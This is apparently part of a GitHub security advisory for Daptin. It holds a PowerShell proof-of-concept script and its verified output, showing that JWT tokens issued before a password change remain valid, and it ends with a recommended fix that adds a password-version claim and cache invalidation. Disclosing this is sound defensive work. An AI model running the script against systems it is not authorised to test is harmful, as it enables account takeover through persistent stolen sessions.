Advisory

GHSA-258c-965c-p3hc

Details, part 2 of 2. The advisory

Details

$rl = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
$toks += ($rl | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
}
$p2 = @{data=@{type='user_account';id=$ID;attributes=@{password='ThirdPass789!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $($toks[0])"} -ContentType 'application/vnd.api+json' -Body $p2 | Out-Null
Write-Host " Password changed again. Testing all 3 pre-change tokens:"
for ($i=0; $i -lt $toks.Count; $i++) {
try {
Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $($toks[$i])"} | Out-Null
Write-Host " Token $($i+1): STILL VALID" -ForegroundColor Red
} catch {
Write-Host " Token $($i+1): REJECTED" -ForegroundColor Green
}
}

Step 10: JWT decode
Write-Host "`n[10] JWT Claims Analysis:" -ForegroundColor Yellow
if ($OLD) {
$parts = $OLD.Split('.')
$pl = $parts[1]
$pad = 4 - ($pl.Length % 4)
if ($pad -ne 4) { $pl += "=" * $pad }
$pl = $pl.Replace("-","+").Replace("_","/")
$bytes = [Convert]::FromBase64String($pl)
$json = [Text.Encoding]::UTF8.GetString($bytes)
Write-Host " Payload: $json" -ForegroundColor Cyan
}
Write-Host " Missing: pwd_version / session_version claim" -ForegroundColor Red
Write-Host " Missing: token revocation on password change" -ForegroundColor Red

Write-Host "`n===== TEST COMPLETE =====" -ForegroundColor Cyan


**Verified test output:**

[5] Testing OLD token after password change...
RESULT: OLD token STILL VALID (HTTP 200, 3 records)
*** VULN CONFIRMED: Session NOT invalidated after password change ***

[6] Write test with OLD token...
WRITE SUCCEEDED with old token!

[7] New password login...
New password login: SUCCESS

[8] Old password login attempt...
Old password REJECTED (password change confirmed)

[9] Multi-token persistence test...
Password changed again. Testing all 3 pre-change tokens:
Token 1: STILL VALID
Token 2: STILL VALID
Token 3: STILL VALID

[10] JWT Claims Analysis:
Payload: {"email":"[email protected]","exp":1776591689,"iat":1776332489,
"iss":"daptin-2eda69","jti":"d8e5e969-3ff4-41e9-a6c0-a63b3cf1534d",
"name":"victim04","nbf":1776332489,"sub":"1a857f2e-42d2-4314-afe9-d782e1b84dbb"}
Missing: pwd_version / session_version claim
Missing: token revocation on password change


## Recommended Fix

1. **Add a `password_version` column** to the `user_account` table (integer, incremented on each password change)
2. **Include `pwd_version` in JWT claims** at token generation time (`action_generate_jwt_token.go:74`)
3. **Check `pwd_version` during validation** in `CheckJWT()` (`jwtmiddleware.go:232-260`) — compare the claim value against the current database value; reject if mismatched
4. **Call `InvalidateAuthCacheForEmail()`** in `resource_update.go` when a password column is updated, to force the auth cache to re-fetch user state

Sources & licences